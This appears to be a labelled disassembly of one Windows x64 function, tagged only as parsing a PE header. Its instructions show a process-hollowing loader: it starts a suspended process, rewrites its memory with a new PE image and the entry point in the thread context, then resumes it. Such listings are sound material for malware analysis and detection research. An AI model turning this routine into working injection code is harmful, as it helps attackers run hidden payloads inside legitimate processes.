Function at 0x14001d2b0
Capabilities:
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov rax, qword [0x14007a0d0]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov r12, r9
mov r13, r8
mov r14, rdx
mov r15, rcx
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x78], rax
xor sil, sil
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
call fcn.140017b00
xor dil, dil
or rbx, 0xffffffffffffffff
cmp byte [rbp + 0xd8], sil
je 0x14001d4a1
mov qword [rbp + 0x38], 0xf
xor ecx, ecx
mov qword [rbp + 0x30], rcx
mov byte [rbp + 0x20], cl
movzx r9d, byte [rbp + 0xd0]
lea r8, [rbp + 0x20]
lea rdx, [rsp + 0x70]
mov ecx, eax
call fcn.14001cb60
test al, al
je 0x14001d408
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001d408
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140011fe0
test eax, eax
je 0x14001d3d8
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.14000f420
test eax, eax
je 0x14001d3a7
mov dil, 1
jmp 0x14001d43f
mov word [rbp + 0x40], 0x3231
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d3c0
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
jmp 0x14001d43f
mov word [rbp + 0x40], 0x3131
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d3f0
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
jmp 0x14001d43f
mov dword [rbp + 0x40], 0x5f3031
lea rax, [rbp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14001d416
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x20]
mov rcx, r12
call fcn.14002c0a0
nop
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x14001d495
inc rax
mov rcx, qword [rbp + 0x20]
cmp rax, 0x1000
jb 0x14001d490
test cl, 0x1f
je 0x14001d463
call fcn.1400378b8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14001d472
call fcn.1400378b8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14001d481
call fcn.1400378b8
int3
cmp rcx, 0x27
jbe 0x14001d48d
call fcn.1400378b8
int3
mov rcx, rax
call fcn.140033508
test dil, dil
jne 0x14001d4a1
xor al, al
jmp 0x14001d875
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x14001d80d
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
jne 0x14001d7dd
lea rdx, [rsp + 0x78]
mov rcx, r14
call fcn.140010010
movzx ecx, word [rsi + 4]
mov edx, 0x14c
mov eax, dword [rsp + 0x78]
cmp cx, dx
jne 0x14001d4e6
test eax, eax
jne 0x14001d49a
mov edx, 0x8664
cmp cx, dx
jne 0x14001d4f5
cmp eax, 6
jne 0x14001d49a
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x50]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor edi, edi
mov word [rbp - 0x10], di
xor r9d, r9d
cmp byte [rbp + 0xd8], al
lea rax, [rbp + 0x20]
je 0x14001d570
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, r13
mov rdx, r14
mov rcx, qword [rsp + 0x68]
call fcn.140025e30
jmp 0x14001d5a2
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call fcn.140012330
test eax, eax
je 0x14001d7ab
mov edi, 4
mov r9d, edi
lea edx, [rdi + 4]
xor ecx, ecx
mov r8d, 0x1000
call fcn.140011b90
mov r14, rax
mov qword [rbp - 0x68], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.140012110
test eax, eax
je 0x14001d78b
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
xor ecx, ecx
mov qword [rsp + 0x20], rcx
lea r9d, [rdi + 4]
lea r8, [rbp - 0x70]
mov rcx, qword [rbp + 0x20]
call fcn.140014270
mov eax, dword [rbp - 0x70]
mov r8, rbx
cmp rax, qword [rsi + 0x30]
lea rax, [rbp + 0x40]
jne 0x14001d63c
mov dword [rbp + 0x43], 0x5f6f6f
mov word [rbp + 0x41], 0x676d
mov byte [rbp + 0x40], 0x69
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d630
jmp 0x14001d65a
mov dword [rbp + 0x43], 0x5f6666
mov word [rbp + 0x40], 0x6d69
mov byte [rbp + 0x42], 0x67
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d650
lea rdx, [rbp + 0x40]
mov rcx, qword [rbp - 0x78]
call fcn.14002c1d0
mov eax, 0x40
cmp byte [rbp + 0xc8], 0
cmovne edi, eax
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], edi
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x20]
call fcn.140025bb0
mov qword [rbp - 0x80], rax
test rax, rax
je 0x14001d751
mov r9d, dword [rsi + 0x54]
xor edi, edi
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
movzx eax, word [rsi + 0x14]
mov ebx, edi
cmp di, word [rsi + 6]
jae 0x14001d703
lea rdi, [rsi + 0x2c]
add rdi, rax
xor r14d, r14d
nop dword [rax]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x80]
mov qword [rsp + 0x20], r14
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jl 0x14001d6d0
mov r14, qword [rbp - 0x68]
xor edi, edi
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rbp - 0x80]
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
mov eax, dword [rsi + 0x28]
add rax, qword [rbp - 0x80]
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp + 0x28]
call fcn.140014390
mov rcx, qword [rbp + 0x28]
call fcn.140027700
mov sil, 1
jmp 0x14001d83a
mov word [rbp + 0x40], 0x3831
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001d760
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
xor edx, edx
mov rcx, qword [rbp + 0x20]
call fcn.140024940
xor sil, sil
jmp 0x14001d838
mov word [rbp + 0x41], 0x37
mov byte [rbp + 0x40], 0x31
lea rax, [rbp + 0x40]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001d7a0
jmp 0x14001d769
mov word [rbp + 0x40], 0x3631
mov byte [rbp + 0x42], dil
lea rax, [rbp + 0x40]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x14001d7c0
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
xor sil, sil
jmp 0x14001d83a
mov word [rbp + 0x40], 0x3531
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001d7f0
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
jmp 0x14001d783
mov word [rbp + 0x41], 0x34
mov byte [rbp + 0x40], 0x31
lea rax, [rbp + 0x40]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001d820
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, r12
call fcn.14002c1d0
xor edi, edi
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14001d84e
call fcn.1400273d0
mov qword [rsp + 0x60], rdi
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14001d862
call fcn.140012bc0
mov qword [rsp + 0x68], rdi
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001d871
call fcn.140012bc0
movzx eax, sil
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.1400335a0
add rsp, 0x158
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret